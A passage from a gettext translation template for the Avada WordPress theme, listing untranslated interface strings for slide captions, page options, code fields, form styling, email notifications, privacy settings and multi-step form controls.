includes/metaboxes/options/options_slide.php:157 #: includes/metaboxes/options/options_slide.php:232 msgid "Single Dotted" msgstr "" #: includes/metaboxes/options/options_slide.php:158 #: includes/metaboxes/options/options_slide.php:233 msgid "Double Solid" msgstr "" #: includes/metaboxes/options/options_slide.php:159 #: includes/metaboxes/options/options_slide.php:234 msgid "Double Dashed" msgstr "" #: includes/metaboxes/options/options_slide.php:160 #: includes/metaboxes/options/options_slide.php:235 msgid "Double Dotted" msgstr "" #: includes/metaboxes/options/options_slide.php:161 #: includes/metaboxes/options/options_slide.php:236 msgid "Underline Solid" msgstr "" #: includes/metaboxes/options/options_slide.php:162 #: includes/metaboxes/options/options_slide.php:237 msgid "Underline Dashed" msgstr "" #: includes/metaboxes/options/options_slide.php:163 #: includes/metaboxes/options/options_slide.php:238 msgid "Underline Dotted" msgstr "" #: includes/metaboxes/options/options_slide.php:165 msgid "Choose the heading separator you want to use." msgstr "" #: includes/metaboxes/options/options_slide.php:168 #: includes/metaboxes/options/options_slide.php:186 #: includes/metaboxes/options/options_slide.php:194 #: includes/metaboxes/options/options_slide.php:212 #: includes/metaboxes/options/options_slide.php:243 #: includes/metaboxes/options/options_slide.php:261 #: includes/metaboxes/options/options_slide.php:269 #: includes/metaboxes/options/options_slide.php:287 #. translators: default value. msgid "Default: %s" msgstr "" #: includes/metaboxes/options/options_slide.php:171 msgid "Title Size" msgstr "" #: includes/metaboxes/options/options_slide.php:173 #: includes/metaboxes/options/options_slide.php:248 msgid "H1" msgstr "" #: includes/metaboxes/options/options_slide.php:174 #: includes/metaboxes/options/options_slide.php:249 msgid "H2" msgstr "" #: includes/metaboxes/options/options_slide.php:175 #: includes/metaboxes/options/options_slide.php:250 msgid "H3" msgstr "" #: includes/metaboxes/options/options_slide.php:176 #: includes/metaboxes/options/options_slide.php:251 msgid "H4" msgstr "" #: includes/metaboxes/options/options_slide.php:177 #: includes/metaboxes/options/options_slide.php:252 msgid "H5" msgstr "" #: includes/metaboxes/options/options_slide.php:178 #: includes/metaboxes/options/options_slide.php:253 msgid "H6" msgstr "" #: includes/metaboxes/options/options_slide.php:179 #: includes/metaboxes/options/options_slide.php:254 msgid "DIV" msgstr "" #: includes/metaboxes/options/options_slide.php:182 #. translators: default value. msgid "" "Choose the title size you want to use. The size you choose will utilize the " "font family and letter spacing typography settings in Global Options for " "that specific size. Font size is set below. %s" msgstr "" #: includes/metaboxes/options/options_slide.php:189 msgid "Heading Font Size" msgstr "" #: includes/metaboxes/options/options_slide.php:191 #. translators: default value. msgid "" "Enter heading font size without px unit. In pixels, ex: 50 instead of 50px. " "%s" msgstr "" #: includes/metaboxes/options/options_slide.php:197 msgid "Heading Color" msgstr "" #: includes/metaboxes/options/options_slide.php:199 #. translators: default value. msgid "Select a color for the heading font. %s" msgstr "" #: includes/metaboxes/options/options_slide.php:204 msgid "Heading Background" msgstr "" #: includes/metaboxes/options/options_slide.php:209 msgid "" "Select this option if you would like a semi-transparent background behind " "your heading." msgstr "" #: includes/metaboxes/options/options_slide.php:215 msgid "Heading Background Color" msgstr "" #: includes/metaboxes/options/options_slide.php:217 #. translators: default value. msgid "Select a color for the heading background. %s" msgstr "" #: includes/metaboxes/options/options_slide.php:222 msgid "Caption Area" msgstr "" #: includes/metaboxes/options/options_slide.php:223 msgid "" "Enter the caption for your slide. This field can take HTML markup and " "simple Avada Shortcodes that work inside a heading tag." msgstr "" #: includes/metaboxes/options/options_slide.php:227 msgid "Caption Separator" msgstr "" #: includes/metaboxes/options/options_slide.php:240 msgid "Choose the caption separator you want to use." msgstr "" #: includes/metaboxes/options/options_slide.php:246 msgid "Caption Size" msgstr "" #: includes/metaboxes/options/options_slide.php:257 #. translators: default value. msgid "" "Choose the caption size you want to use. The size you choose will utilize " "the font family and letter spacing typography settings in Global Options " "for that specific size. Font size is set below. %s" msgstr "" #: includes/metaboxes/options/options_slide.php:264 #: includes/options/elastic_slider.php:277 msgid "Caption Font Size" msgstr "" #: includes/metaboxes/options/options_slide.php:266 #. translators: default value. msgid "" "Enter caption font size without px unit. In pixels, ex: 24 instead of 24px. " "%s" msgstr "" #: includes/metaboxes/options/options_slide.php:272 #: includes/options/elastic_slider.php:317 msgid "Caption Color" msgstr "" #: includes/metaboxes/options/options_slide.php:274 #. translators: default value. msgid "Select a color for the caption font. %s" msgstr "" #: includes/metaboxes/options/options_slide.php:279 msgid "Caption Background" msgstr "" #: includes/metaboxes/options/options_slide.php:284 msgid "" "Select this option if you would like a semi-transparent background behind " "your caption." msgstr "" #: includes/metaboxes/options/options_slide.php:290 msgid "Caption Background Color" msgstr "" #: includes/metaboxes/options/options_slide.php:292 #. translators: default value. msgid "Select a color for the caption background. %s" msgstr "" #: includes/metaboxes/options/options_slide.php:303 msgid "Slide Link Type" msgstr "" #: includes/metaboxes/options/options_slide.php:305 msgid "Button" msgstr "" #: includes/metaboxes/options/options_slide.php:306 msgid "Full Slide" msgstr "" #: includes/metaboxes/options/options_slide.php:308 msgid "Select how the slide will link." msgstr "" #: includes/metaboxes/options/options_slide.php:312 msgid "Slide Link" msgstr "" #: includes/metaboxes/options/options_slide.php:313 msgid "Please enter your URL that will be used to link the full slide." msgstr "" #: includes/metaboxes/options/options_slide.php:317 msgid "Open Slide Link In New Window" msgstr "" #: includes/metaboxes/options/options_slide.php:325 msgid "Button #1" msgstr "" #: includes/metaboxes/options/options_slide.php:325 #: includes/metaboxes/options/options_slide.php:331 msgid "Click here to view button option descriptions." msgstr "" #: includes/metaboxes/options/options_slide.php:326 msgid "Adjust the button shortcode parameters for the first button." msgstr "" #: includes/metaboxes/options/options_slide.php:327 #: includes/metaboxes/options/options_slide.php:333 msgid "Button Text" msgstr "" #: includes/metaboxes/options/options_slide.php:331 msgid "Button #2" msgstr "" #: includes/metaboxes/options/options_slide.php:332 msgid "Adjust the button shortcode parameters for the second button." msgstr "" #: includes/metaboxes/tabs/tab_avada_page_options.php:25 msgid "" "Settings have changed, you need to save the page before you export or save " "page options." msgstr "" #: includes/metaboxes/tabs/tab_avada_page_options.php:31 msgid "" "Save your current Page Options as a custom set to be reused on any page or " "post that utilizes Avada Page Options." msgstr "" #: includes/metaboxes/tabs/tab_avada_page_options.php:43 msgid "Manage Page Options" msgstr "" #: includes/metaboxes/tabs/tab_avada_page_options.php:44 msgid "Select a set of saved Page Options, then choose to import or delete them." msgstr "" #: includes/metaboxes/tabs/tab_avada_page_options.php:70 msgid "" "Click the export button to export your current set of Page Options as a " "JSON file." msgstr "" #: includes/metaboxes/tabs/tab_avada_page_options.php:83 msgid "Click Import to select a set of Page Options (JSON file) to be used." msgstr "" #: includes/metaboxes/tabs/tab_code_fields.php:32 #: includes/options/advanced.php:503 msgid "Tracking Code" msgstr "" #: includes/metaboxes/tabs/tab_code_fields.php:33 #: includes/options/advanced.php:504 msgid "" "Paste your tracking code here. This will be added into the header template " "of your theme. Place code inside <script> tags." msgstr "" #: includes/metaboxes/tabs/tab_code_fields.php:47 msgid "Space Before </head>" msgstr "" #: includes/metaboxes/tabs/tab_code_fields.php:48 #: includes/options/advanced.php:518 msgid "" "Only accepts JavaScript code wrapped with <script> tags and HTML " "markup that is valid inside the <head> tag." msgstr "" #: includes/metaboxes/tabs/tab_code_fields.php:62 msgid "Space After <body>" msgstr "" #: includes/metaboxes/tabs/tab_code_fields.php:63 #: includes/metaboxes/tabs/tab_code_fields.php:79 #: includes/options/advanced.php:532 includes/options/advanced.php:546 msgid "" "Only accepts JavaScript code, wrapped with <script> tags and valid " "HTML markup inside the <body> tag." msgstr "" #: includes/metaboxes/tabs/tab_code_fields.php:78 msgid "Space Before </body>" msgstr "" #: includes/metaboxes/tabs/tab_content.php:85 #. translators: The edit link. Text of link is the title. msgid "Use 100% Width Content" msgstr "" #: includes/metaboxes/tabs/tab_content.php:88 #. translators: Additional description (defaults). msgid "Choose to set this page content to 100% browser width. %s" msgstr "" #: includes/metaboxes/tabs/tab_content.php:106 msgid "Choose to set this post to 100% browser width." msgstr "" #: includes/metaboxes/tabs/tab_content.php:116 #: includes/metaboxes/tabs/tab_portfolio_post.php:74 #: includes/metaboxes/tabs/tab_post.php:44 #. translators: The edit link. Text of link is the title. msgid "Show First Featured Image" msgstr "" #: includes/metaboxes/tabs/tab_content.php:117 msgid "Show the 1st featured image on page." msgstr "" #: includes/metaboxes/tabs/tab_content.php:132 msgid "Show WooCommerce Shop Loop" msgstr "" #: includes/metaboxes/tabs/tab_content.php:133 msgid "Show WooCommerce Shop Loop on page." msgstr "" #: includes/metaboxes/tabs/tab_content.php:146 includes/options/layout.php:406 msgid "100% Width Padding" msgstr "" #: includes/metaboxes/tabs/tab_content.php:148 #. translators: Additional description (defaults). msgid "" "Controls the left and right padding for page content when using 100% " "site width, 100% width page template or 100% width post option. " "This does not affect Avada Builder containers. Enter value including any " "valid CSS unit, ex: 30px. %s" msgstr "" #: includes/metaboxes/tabs/tab_content.php:159 msgid "Content Padding" msgstr "" #: includes/metaboxes/tabs/tab_content.php:174 msgid "Background Color for Main Content Area" msgstr "" #: includes/metaboxes/tabs/tab_content.php:176 #. translators: Additional description (defaults). msgid "" "Controls the background color for the main content area. Hex code, ex: " "#000. %s" msgstr "" #: includes/metaboxes/tabs/tab_content.php:183 msgid "Background Image for Main Content Area" msgstr "" #: includes/metaboxes/tabs/tab_content.php:186 #. translators: Additional description (defaults). msgid "Select an image to use for the main content area. %s" msgstr "" #: includes/metaboxes/tabs/tab_content.php:192 #: includes/metaboxes/tabs/tab_header.php:140 #: includes/metaboxes/tabs/tab_page.php:85 #: includes/metaboxes/tabs/tab_pagetitlebar.php:336 #: includes/options/background.php:71 includes/options/background.php:302 #: includes/options/footer.php:401 includes/options/header.php:690 #: includes/options/page_title_bar.php:435 msgid "100% Background Image" msgstr "" #: includes/metaboxes/tabs/tab_content.php:194 #: includes/metaboxes/tabs/tab_page.php:87 #: includes/metaboxes/tabs/tab_pagetitlebar.php:338 #. translators: Additional description (defaults). msgid "Choose to have the background image display at 100%. %s" msgstr "" #: includes/metaboxes/tabs/tab_content.php:215 #: includes/metaboxes/tabs/tab_page.php:108 #. translators: Additional description (defaults). msgid "Select how the background image repeats. %s" msgstr "" #: includes/metaboxes/tabs/tab_content.php:218 #: includes/metaboxes/tabs/tab_header.php:165 #: includes/metaboxes/tabs/tab_page.php:111 msgid "Tile" msgstr "" #: includes/metaboxes/tabs/tab_content.php:219 #: includes/metaboxes/tabs/tab_header.php:166 #: includes/metaboxes/tabs/tab_page.php:112 msgid "Tile Horizontally" msgstr "" #: includes/metaboxes/tabs/tab_content.php:220 #: includes/metaboxes/tabs/tab_header.php:167 #: includes/metaboxes/tabs/tab_page.php:113 msgid "Tile Vertically" msgstr "" #: includes/metaboxes/tabs/tab_content.php:221 #: includes/metaboxes/tabs/tab_header.php:168 #: includes/metaboxes/tabs/tab_off_canvas_design.php:86 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:143 #: includes/metaboxes/tabs/tab_page.php:114 includes/options/background.php:127 #: includes/options/background.php:358 includes/options/footer.php:446 #: includes/options/header.php:798 msgid "No Repeat" msgstr "" #: includes/metaboxes/tabs/tab_content.php:236 #: includes/metaboxes/tabs/tab_portfolio_post.php:241 #: includes/metaboxes/tabs/tab_post.php:155 msgid "Show Social Share Box" msgstr "" #: includes/metaboxes/tabs/tab_content.php:238 #: includes/metaboxes/tabs/tab_portfolio_post.php:243 #: includes/metaboxes/tabs/tab_post.php:157 #. translators: Additional description (defaults). msgid "Choose to show or hide the social share box. %s" msgstr "" #: includes/metaboxes/tabs/tab_footer.php:43 #. translators: The edit link. Text of link is the title. msgid "Display Widgets Areas" msgstr "" #: includes/metaboxes/tabs/tab_footer.php:50 #. translators: Additional description (defaults). msgid "Choose to show or hide the footer widget areas. %s" msgstr "" #: includes/metaboxes/tabs/tab_footer.php:65 msgid "Display Copyright Area" msgstr "" #: includes/metaboxes/tabs/tab_footer.php:72 #. translators: Additional description (defaults). msgid "Choose to show or hide the copyright area. %s" msgstr "" #: includes/metaboxes/tabs/tab_footer.php:87 includes/options/footer.php:502 msgid "100% Footer Width" msgstr "" #: includes/metaboxes/tabs/tab_footer.php:94 #. translators: Additional description (defaults). msgid "" "Choose to set footer width to 100% of the browser width. Select \"No\" " "for site width. %s" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:25 #: includes/metaboxes/tabs/tab_template.php:171 msgid "Preview Width" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:27 #. translators: Additional description (defaults). msgid "" "Select the width to preview the form at in the live editor. " "NOTE: This is only used for previewing purposes." msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:44 msgid "Preview Background Color" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:45 msgid "" "Choose a background color for the form preview in live editor. " "NOTE: This is only used for previewing purposes." msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:55 msgid "Label Position" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:56 #: includes/metaboxes/tabs/tab_form_steps.php:52 msgid "Make a selection for form input fields labels position." msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:71 msgid "Label Font Size" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:73 #. translators: Additional description (defaults). msgid "Controls the font size of the form labels text. Use any valid CSS value. %s" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:83 msgid "Required Field Symbol Decoration" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:84 msgid "" "Choose if you want to display the required field symbol text decoration or " "not." msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:98 msgid "Tooltip Text Color" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:99 msgid "Controls the text color of the field tooltip." msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:109 msgid "Tooltip Background Color" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:110 msgid "Controls the background color of the field tooltip." msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:120 msgid "Field Margin" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:128 msgid "Controls the vertical height between form fields. In pixels (px), ex: 10px." msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:136 msgid "Field Height" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:138 #. translators: Additional description (defaults). msgid "Controls the height of the form fields. Use any valid CSS value. %s" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:151 msgid "Field Font Size" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:153 #. translators: Additional description (defaults). msgid "Controls the font size of the form fields text. Use any valid CSS value. %s" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:166 msgid "Field Background Color" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:168 #. translators: Additional description (defaults). msgid "Controls the background color of the form input field. %s" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:182 msgid "Field Text Color" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:184 #. translators: Additional description (defaults). msgid "Controls the text color of the form input field. %s" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:198 msgid "Field Label Color" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:200 #. translators: Additional description (defaults). msgid "Controls the label color of the form input field. %s" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:215 msgid "Field Placeholder Color" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:217 #. translators: Additional description (defaults). msgid "" "Controls the label placeholder of the form input field. Leave empty to use " "a faded version of the form text color." msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:228 msgid "Field Border Size" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:230 #. translators: Additional description (defaults). msgid "Controls the border size of the form fields. %s" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:255 msgid "Field Border Color" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:257 #. translators: Additional description (defaults). msgid "Controls the border color of the form input field. %s" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:270 #: includes/options/forms.php:181 msgid "Form Border Color On Focus" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:272 #. translators: Additional description (defaults). msgid "Controls the border color of the form input field on focus. %s" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:286 msgid "Field Border Radius" msgstr "" #: includes/metaboxes/tabs/tab_form_appearance.php:288 #. translators: Additional description (defaults). msgid "Controls the border radius of input field. In pixels. %s" msgstr "" #: includes/metaboxes/tabs/tab_form_confirmation.php:26 msgid "Form Confirmation Type" msgstr "" #: includes/metaboxes/tabs/tab_form_confirmation.php:27 msgid "Select what should happen after the form is submitted successfully." msgstr "" #: includes/metaboxes/tabs/tab_form_confirmation.php:31 msgid "Display Message" msgstr "" #: includes/metaboxes/tabs/tab_form_confirmation.php:32 msgid "Redirect To URL" msgstr "" #: includes/metaboxes/tabs/tab_form_confirmation.php:43 msgid "" "IMPORTANT NOTE: Use the Notice Element in " "the Form Builder to display confirmation notices for your form upon " "submission." msgstr "" #: includes/metaboxes/tabs/tab_form_confirmation.php:55 msgid "Redirect URL" msgstr "" #: includes/metaboxes/tabs/tab_form_confirmation.php:56 msgid "" "Enter the URL which the user should be redirected to after a successful " "submission." msgstr "" #: includes/metaboxes/tabs/tab_form_confirmation.php:69 msgid "Redirect After" msgstr "" #: includes/metaboxes/tabs/tab_form_confirmation.php:70 msgid "Set a timeout before the redirect takes place. In milliseconds." msgstr "" #: includes/metaboxes/tabs/tab_form_general.php:37 msgid "Enable Member Only Form" msgstr "" #: includes/metaboxes/tabs/tab_form_general.php:38 msgid "" "Select if you want to display this form to only logged in users with " "specific user roles." msgstr "" #: includes/metaboxes/tabs/tab_form_general.php:50 msgid "Select User Role(s)" msgstr "" #: includes/metaboxes/tabs/tab_form_general.php:51 msgid "" "Select user role(s) you want to display this form to. Leaving blank will " "display form to any logged in user." msgstr "" #: includes/metaboxes/tabs/tab_form_general.php:64 msgid "Views Counter" msgstr "" #: includes/metaboxes/tabs/tab_form_general.php:65 #: includes/options/forms.php:221 msgid "" "Set the method to update the form views, or disable them entirely. \"Page " "Load\" option will update using PHP when a page is retrieved. \"Ajax\" will " "send an additional request after the page loads." msgstr "" #: includes/metaboxes/tabs/tab_form_general.php:81 #: includes/options/forms.php:232 msgid "Form Views Counting" msgstr "" #: includes/metaboxes/tabs/tab_form_general.php:82 #: includes/options/forms.php:233 msgid "Select which types of users will increase the form views on visit." msgstr "" #: includes/metaboxes/tabs/tab_form_general.php:99 msgid "Security Nonce Method" msgstr "" #: includes/metaboxes/tabs/tab_form_general.php:101 #. translators: %1$s: Opening anchor tag. %2$s: Closing anchor tag. msgid "" "Select the method which is used to add %1$s nonce %2$s field to the form. " "Note that Localized might cause problems if page's HTML is cached." msgstr "" #: includes/metaboxes/tabs/tab_form_general.php:106 #: includes/metaboxes/tabs/tab_form_submission.php:52 msgid "AJAX" msgstr "" #: includes/metaboxes/tabs/tab_form_general.php:107 msgid "Localized" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:39 #. translators: Documentation post link. msgid "" "IMPORTANT NOTE: In email options, field names within " "square brackets can be used as placeholders which will be replaced when the " "form is submitted, ie: [email_address]. For more information check out our " "form placeholders post." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:52 msgid "" "IMPORTANT NOTE: For notifications setup, please set " "submission type to \"AJAX\" ." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:65 msgid "Add form notifications." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:67 msgid "Add Notification" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:68 #: includes/metaboxes/tabs/tab_form_notifications.php:84 msgid "Notification" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:83 msgid "Enter notification label." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:91 msgid "" "Enter the email address to which the form data should be sent to. If left " "empty, email will be sent to the WordPress admin." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:96 msgid "CC Email" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:98 msgid "Enter additional CC emails. Add one address per line." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:104 msgid "BCC Email" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:106 msgid "Enter additional BCC emails. Add one address per line." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:112 msgid "Email Subject" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:113 msgid "Enter email subject. If left empty, the form title will be used." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:115 msgid "Form submission received" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:120 msgid "Encode Email Subject" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:121 msgid "" "Select if you want to encode email subjects. This helps to display special " "characters correctly in the subject field. A few hosting environments and " "email clients might have issues with this setting." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:132 msgid "Email From Name" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:133 msgid "Enter email from name. If left empty, WordPress will be used." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:140 msgid "Sender Email" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:141 msgid "" "Enter sender email address. If left empty, wordpress@sitename.com will be " "used." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:148 msgid "Reply To Email" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:149 msgid "Enter reply to email address. " msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:157 msgid "Attach Uploaded Files" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:159 msgid "Add uploaded files as email attachments." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:168 msgid "Custom Attachment" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:169 msgid "Select a custom attachment to be sent along in the notification email." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:177 msgid "Wordwrap For Labels" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:179 msgid "Set to \"yes\" to enable wordwrap for labels in the notification email." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:189 msgid "Email Message" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:191 msgid "" "Enter an email message, or leave empty to get the default message with all " "form fields. You can add form fields to the message by inserting a field " "name wrapped with square brackets ie: [email_address], also you can add all " "fields with [all_fields] tag." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:196 #: includes/metaboxes/tabs/tab_form_notifications.php:200 msgid "Conditional Logic" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:198 msgid "" "Add conditional logic for the notification. The notification will only be " "sent, if the set conditions are met." msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:199 msgid "Add Conditional Logic" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:203 msgid "Select A Condition Type" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:206 #: includes/metaboxes/tabs/tab_form_notifications.php:215 msgid "Equal To" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:207 #: includes/metaboxes/tabs/tab_form_notifications.php:216 msgid "Not Equal To" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:208 #: includes/metaboxes/tabs/tab_form_notifications.php:217 msgid "Greater Than" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:209 #: includes/metaboxes/tabs/tab_form_notifications.php:218 msgid "Less Than" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:210 #: includes/metaboxes/tabs/tab_form_notifications.php:219 msgid "Contains" msgstr "" #: includes/metaboxes/tabs/tab_form_notifications.php:211 #: includes/metaboxes/tabs/tab_form_notifications.php:220 msgid "Does Not Contain" msgstr "" #: includes/metaboxes/tabs/tab_form_privacy.php:20 msgid "Privacy & Expiration" msgstr "" #: includes/metaboxes/tabs/tab_form_privacy.php:26 msgid "Store IP And User Agent" msgstr "" #: includes/metaboxes/tabs/tab_form_privacy.php:27 msgid "" "Select if you want to store the IP and User Agent on submissions. Depending " "on the legislation that applies to your site, you may need to disable this " "option." msgstr "" #: includes/metaboxes/tabs/tab_form_privacy.php:38 msgid "Submission Expiration Time(Months)" msgstr "" #: includes/metaboxes/tabs/tab_form_privacy.php:39 msgid "" "Set the number of months after which form submissions will expire. Choose " "the expiration action below." msgstr "" #: includes/metaboxes/tabs/tab_form_privacy.php:46 msgid "Submission Expiration Action" msgstr "" #: includes/metaboxes/tabs/tab_form_privacy.php:47 msgid "" "Choose what should happen after form submissions expire (as set above). If " "you have selected to log the user's IP & UA above, selecting \"Anonymize\" " "will delete these from the log. If you want old entries to be deleted " "automatically after thex expire, then select \"Delete\"." msgstr "" #: includes/metaboxes/tabs/tab_form_privacy.php:53 msgid "No Action" msgstr "" #: includes/metaboxes/tabs/tab_form_privacy.php:54 msgid "Anonymize IP and User-Agent" msgstr "" #: includes/metaboxes/tabs/tab_form_privacy.php:55 msgid "Delete Submission" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:30 #. translators: Documentation post link. msgid "" "IMPORTANT NOTE: Insert the special Form Step element to " "split up your form into steps. For each step you should add a submit " "button which will be used to progress to the next step. For more " "information check out our multi-step form " "post." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:36 msgid "Form Steps Navigation" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:37 msgid "Select main steps navigation style." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:41 includes/options/blog.php:142 #: includes/options/blog.php:173 includes/options/search.php:349 msgid "Timeline" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:42 msgid "Progress Bar" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:51 msgid "Step Type" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:71 msgid "Steps Wrapper Margin" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:72 #: includes/metaboxes/tabs/tab_form_steps.php:134 #: includes/metaboxes/tabs/tab_form_steps.php:156 #: includes/metaboxes/tabs/tab_form_steps.php:420 #: includes/metaboxes/tabs/tab_form_steps.php:639 #: includes/metaboxes/tabs/tab_form_steps.php:671 #: includes/metaboxes/tabs/tab_form_steps.php:845 #: includes/metaboxes/tabs/tab_form_steps.php:1167 msgid "Enter values including any valid CSS unit, ex: 10px or 10%." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:93 msgid "Steps Background Color" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:94 msgid "Controls the background color of the step." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:118 #: includes/metaboxes/tabs/tab_form_steps.php:254 #: includes/metaboxes/tabs/tab_form_steps.php:368 #: includes/metaboxes/tabs/tab_form_steps.php:402 #: includes/metaboxes/tabs/tab_form_steps.php:492 #: includes/metaboxes/tabs/tab_form_steps.php:592 #: includes/metaboxes/tabs/tab_form_steps.php:775 #: includes/metaboxes/tabs/tab_form_steps.php:938 msgid "Completed" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:133 msgid "Steps Padding" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:155 msgid "Steps Border Radius" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:177 msgid "Steps Border Width" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:178 msgid "Controls the border width of the step." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:199 msgid "Steps Border Style" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:200 msgid "Controls the border style of the step." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:206 #: includes/metaboxes/tabs/tab_form_steps.php:351 #: includes/metaboxes/tabs/tab_form_steps.php:708 #: includes/options/footer.php:679 includes/options/typography.php:379 #: includes/options/typography.php:502 msgid "Double" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:227 msgid "Steps Border Color" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:228 msgid "Controls the border color of the step." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:271 msgid "Step Justification" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:272 msgid "Controls the spacing justification around the steps." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:275 #: includes/metaboxes/tabs/tab_off_canvas_general.php:286 msgid "Space Around" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:276 #: includes/metaboxes/tabs/tab_off_canvas_general.php:285 msgid "Space Between" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:277 msgid "Left Aligned" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:278 msgid "Right Aligned" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:294 msgid "Between Steps Space Size" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:295 msgid "" "Controls the internal spacing between the steps in relation with the " "external space." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:321 msgid "Between Steps Separator Width" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:322 msgid "Select the width of the separator." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:343 msgid "Step Separator" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:344 msgid "Select the separator style between the steps." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:384 msgid "Between Steps Separator Color" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:385 msgid "Select the color of the separator." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:419 msgid "Step Separator Margin" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:444 msgid "Steps Icons/Numbers" msgstr "" #: 